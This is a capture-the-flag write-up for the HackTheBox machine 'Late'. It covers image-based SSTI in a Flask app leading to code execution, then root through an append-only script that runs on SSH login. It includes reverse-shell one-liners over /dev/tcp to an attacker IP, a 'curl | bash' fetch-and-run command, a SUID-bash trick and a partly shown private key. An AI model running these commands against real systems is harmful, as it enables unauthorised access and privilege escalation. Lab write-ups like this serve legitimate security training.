HackTheBox Late
Writeup for HackTheBox Late
Machine Synopsis
Late is an Easy Linux machine that features a Server Side Template Injection (SSTI) vulnerability in a text reading application, which leads to Remote Code Execution as user svc_acc
. Enumeration for files owned by this user reveals a script that is executed whenever an SSH connection to the system is initiated or dropped. This script runs as the root
user, however, enumeration of the file attributes show that it cannot be directly edited, but data can be appended. A reverse shell can be added at the end of this script in order to gain a shell as root
. (Source)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
$ nmap -sC -sV -A -p- 10.10.11.156
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
| 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Here is their website.
Looking around the website, we can find a hyperlinked text that points to http://images.late.htb/
. Lets add this subdomain to our /etc/hosts
file.
As we can see from the website, there are 2 important information - the website is running on Flask
and it is converting an image to text.
Lets convert a text to image using this tool. As a test, I used the text Shiro
. Thereafter, I uploaded the image to the flask application and it returned a text file containing the following content.
1
2
3
$ cat /home/shiro/Downloads/results.txt
<p>Shiro
</p>
Exploitation
Since this was a Flask application, we should check whether it is vulnerable to SSTI. To test this, I used a payload text of ``. Here was the result.
1
2
3
$ cat /home/shiro/Downloads/results\(1\).txt
<p>2
</p>
Note that the flask application might not read the image properly. To bypass this, we can either make the text wider with spaces in between the payload like
{ { 1 + 1 } }
and/or change the zoom level!
Nice. The application is vulnerable to SSTI. Lets use our handy PayloadAllTheThings to try out some payloads. I tried different payloads but this seems to work the best - ``.
1
2
3
4
$ cat /home/shiro/Downloads/results\(2\).txt
<p>uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
</p>
Note: I used this tool to convert the text to image instead as it seems to be more reliable than the previous tool.
Here’s our plan.
- We create a simple reverse shell script and host the script on our own server
- Modify the SSTI payload that we found with this command -
curl http://10.10.14.4/rev.sh | bash
- Start a netcat listener
- Upload the image to the application and wait for the listener to catch the shell
1
2
3
4
5
6
7
8
9
10
11
12
$ cat rev.sh
#!/bin/bash
bash -c 'exec bash -i &>/dev/tcp/10.10.14.4/1234 <&1'
- Netcat Listener -
$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.156] 45300
bash: cannot set terminal process group (1227): Inappropriate ioctl for device
bash: no job control in this shell
svc_acc@late:~/app$
The SSTI payload used: ``
Note: Depending on the error that the application throws while reading the payload, you have to modify it such as adding extra “_” in the payload.
Privilege Escalation
Before we begin, we should grab the id_rsa
file for easier access using ssh
!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
svc_acc@late:~/app$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
...
kxruFUgLHh7nEx/5/0r8gmcoCvFn98wvUPSNrgDJ25mnwYI0zzDrEw==
-----END RSA PRIVATE KEY-----
- Local Machine -
$ mousepad id_rsa
< copy & paste the private key here >
$ chmod 600 id_rsa
$ ssh svc_acc@10.10.11.156 -i id_rsa
Warning: SSH client configured for wide compatibility by kali-tweaks.
svc_acc@late:~$
Lets try su -
to see if we can get an easy win.
1
2
svc_acc@late:~$ su -
Password:
Lets check if svc_acc
can run any command as root.
1
2
svc_acc@late:~$ sudo -l
[sudo] password for svc_acc:
Lets try if we can find any interesting files owned by svc_acc
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
svc_acc@late:~$ find / -user svc_acc 2>/dev/null
...
< too much information being printed >
^C
svc_acc@late:~$ find / -user svc_acc 2>/dev/null | grep -v '/proc\|/home\|/var\|/sys\|/run'
/usr/local/sbin
/usr/local/sbin/ssh-alert.sh
/dev/pts/0
svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
There is an interesting ssh-alert.sh
file that is available but is it executed by root? Lets use pspy
to check.
1
2
3
4
5
6
7
8
9
10
11
12
13
- Local Machine -
$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
...
- Netcat Shell -
svc_acc@late:~$ wget http://10.10.14.4/pspy64
...
svc_acc@late:~$ chmod +x pspy64
svc_acc@late:~$ ./pspy64
...
< ssh into svc_acc again using another terminal to execute the ssh-alert script >
...
2022/08/20 08:08:22 CMD: UID=0 PID=1922 | /bin/bash /usr/local/sbin/ssh-alert.sh
The script is indeed ran by UID=0
.
1
2
svc_acc@late:~$ lsattr /usr/local/sbin/ssh-alert.sh
-----a--------e--- /usr/local/sbin/ssh-alert.sh
lsattr
shows the attribute of the file. Thea
in the attributes indicate that we can only add things to the end of the file.
Lets add a reverse shell bash script to the end of the file and execute ssh-alert.sh
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
svc_acc@late:~$ echo 'bash -c "exec bash -i &>/dev/tcp/10.10.14.4/9999 <&1"' >> /usr/local/sbin/ssh-alert.sh
svc_acc@late:~$ cat /usr/local/sbin/ssh-alert.sh
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
bash -c "exec bash -i &>/dev/tcp/10.10.14.4/9999 <&1"
Finally, we can start another netcat listener and execute the script.
1
2
3
4
5
6
7
8
9
10
11
12
$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.156] 34786
bash: cannot set terminal process group (2037): Inappropriate ioctl for device
bash: no job control in this shell
root@late:/# cat /home/svc_acc/user.txt
cat /home/svc_acc/user.txt
0d165b9722b722ff76c56cc75ccbc819
root@late:/# cat /root/root.txt
cat /root/root.txt
72dac27da89ba5002503d1eaf8011367
Reading a writeup from Shakugan, I realized that there was another interesting way to get the root shell which is to set /bin/bash
to SUID.
1
2
3
4
svc_acc@late:~$ echo "chmod u+s /bin/bash" >> /usr/local/sbin/ssh-alert.sh
svc_acc@late:~$ bash -p
bash-4.4# id
uid=1000(svc_acc) gid=1000(svc_acc) euid=0(root) groups=1000(svc_acc)